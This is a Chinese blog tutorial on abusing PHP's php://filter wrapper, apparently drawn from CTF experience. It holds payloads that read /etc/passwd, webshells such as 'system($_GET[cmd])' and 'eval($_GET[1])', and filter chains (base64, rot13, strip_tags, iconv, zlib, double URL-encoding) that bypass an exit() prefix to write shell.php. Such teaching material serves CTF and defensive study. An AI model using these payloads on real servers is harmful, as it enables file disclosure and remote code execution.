PHP Filter协议实战:从基础编码到高级绕过技巧
2026/5/27 11:15:03 网站建设 项目流程

1. PHP Filter协议基础入门

第一次接触PHP Filter协议是在一次CTF比赛中,当时遇到一个文件读取题,常规的路径遍历都被过滤了。队友突然说"试试php://filter",结果真的读到了源码。从那以后,我就对这个神奇的协议产生了浓厚兴趣。

简单来说,php://filter就像个多功能水龙头过滤器。普通的水龙头(文件读取函数)只能直接出水,但加上这个过滤器,你可以让水流经过各种处理层——比如把水变成冰块(base64编码)、给水染色(字符转换)、或者过滤杂质(去除标签)。它的标准语法格式是:

php://filter/read=过滤器1|过滤器2/resource=目标文件

举个例子,如果我们想用base64编码方式读取/etc/passwd文件:

echo file_get_contents("php://filter/read=convert.base64-encode/resource=/etc/passwd");

这样输出的就是经过base64编码后的内容。为什么要编码?因为有些特殊字符可能导致直接读取失败,编码后就能稳定传输,到客户端再解码即可。

2. 常用过滤器深度解析

2.1 字符串处理三剑客

最常用的字符串过滤器有三个:rot13、大小写转换和strip_tags。我刚开始用rot13时闹过笑话,以为是什么高级加密,后来发现就是字母表位移13位的小把戏。

// rot13示例 echo file_get_contents("php://filter/read=string.rot13/resource=data://text/plain,HelloWorld"); // 输出UryybJbeyq // 大小写转换 file_get_contents("php://filter/read=string.toupper/resource=data://text/plain,abc"); // 输出ABC // 去除HTML标签 file_get_contents("php://filter/read=string.strip_tags/resource=data://text/plain,<b>text</b>"); // 输出纯text

strip_tags特别实用,有次审计代码时发现个XSS漏洞,但输出点用了这个过滤器,攻击payload直接失效。不过要注意,它只能过滤掉明确的标签,对特殊字符编码的payload可能无效。

2.2 编码转换的妙用

编码转换过滤器是我用得最频繁的,尤其是base64和iconv。base64大家都熟悉,但很多人不知道PHP的base64过滤器有个特性:解码时会自动忽略非base64字符。这个特性在绕过某些限制时特别有用。

iconv过滤器支持多种编码转换,我最喜欢用它来做字符集转换。曾经遇到过一个日本网站,用UCS-2编码转换成功绕过了他们的输入过滤:

// UCS-2编码转换示例 $payload = "<?php system($_GET[cmd]);?>"; echo iconv("UTF-8", "UCS-2BE", $payload);

3. 高级绕过技巧实战

3.1 死亡exit的六种解法

遇到file_put_contents($file, "<?php exit();".$content);这种代码时,常规的webshell写入方法都会失效。经过多次实战,我总结了以下几种绕过方法:

方法一:base64填充术

$file = "php://filter/write=convert.base64-decode/resource=shell.php"; $content = "aPD9waHAgcGhwaW5mbygpOz8+"; // 开头的a用于填充,使phpexit变成4的倍数长度

方法二:rot13变形术

$file = "php://filter/write=string.rot13/resource=shell.php"; $content = "<?cuc cucvasb();?>"; // <?php phpinfo();?>的rot13编码

方法三:标签闭合+strip_tags

$file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php"; $content = "?>PD9waHAgcGhwaW5mbygpOz8+";

3.2 编码嵌套的艺术

在WMCTF2020的一道题中,出题人过滤了所有常见编码的关键词。这时候就需要用到双重URL编码的技巧:

// 原始payload convert.iconv.UCS-2LE.UCS-2BE // 一次URL编码 %63%6f%6e%76%65%72%74%2e%69%63%6f%6e%76%2e%55%43%53%2d%32%4c%45%2e%55%43%53%2d%32%42%45 // 二次URL编码后的payload content=php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545|?<hp phpipfn(o;)>?/resource=shell.php

这种编码方式可以绕过大多数关键词过滤,原理是PHP会对过滤器进行URL解码,而双重编码能让关键词在第一次解码后仍然不是原始形式。

4. 现代PHP环境下的新变化

随着PHP版本更新,一些老的技巧可能失效,但也出现了新的可能性:

  1. PHP7的段错误特性:在使用string.strip_tags过滤器时,PHP7可能会产生段错误,导致临时文件残留。这个特性可以用于构造特殊攻击链。

  2. 过滤器严格模式:新版本对非法过滤器的处理更严格,以前"遇到不认识的就跳过"的特性可能不再适用。

  3. 压缩过滤器的妙用:zlib过滤器组合可以创造一些意想不到的效果:

$content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php eval($_GET[1]);?>/resource=shell.php';

在实际渗透测试中,我建议先在测试环境验证技巧的有效性。不同PHP版本和小版本之间可能存在差异,特别是从PHP5到PHP7的变化较大。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询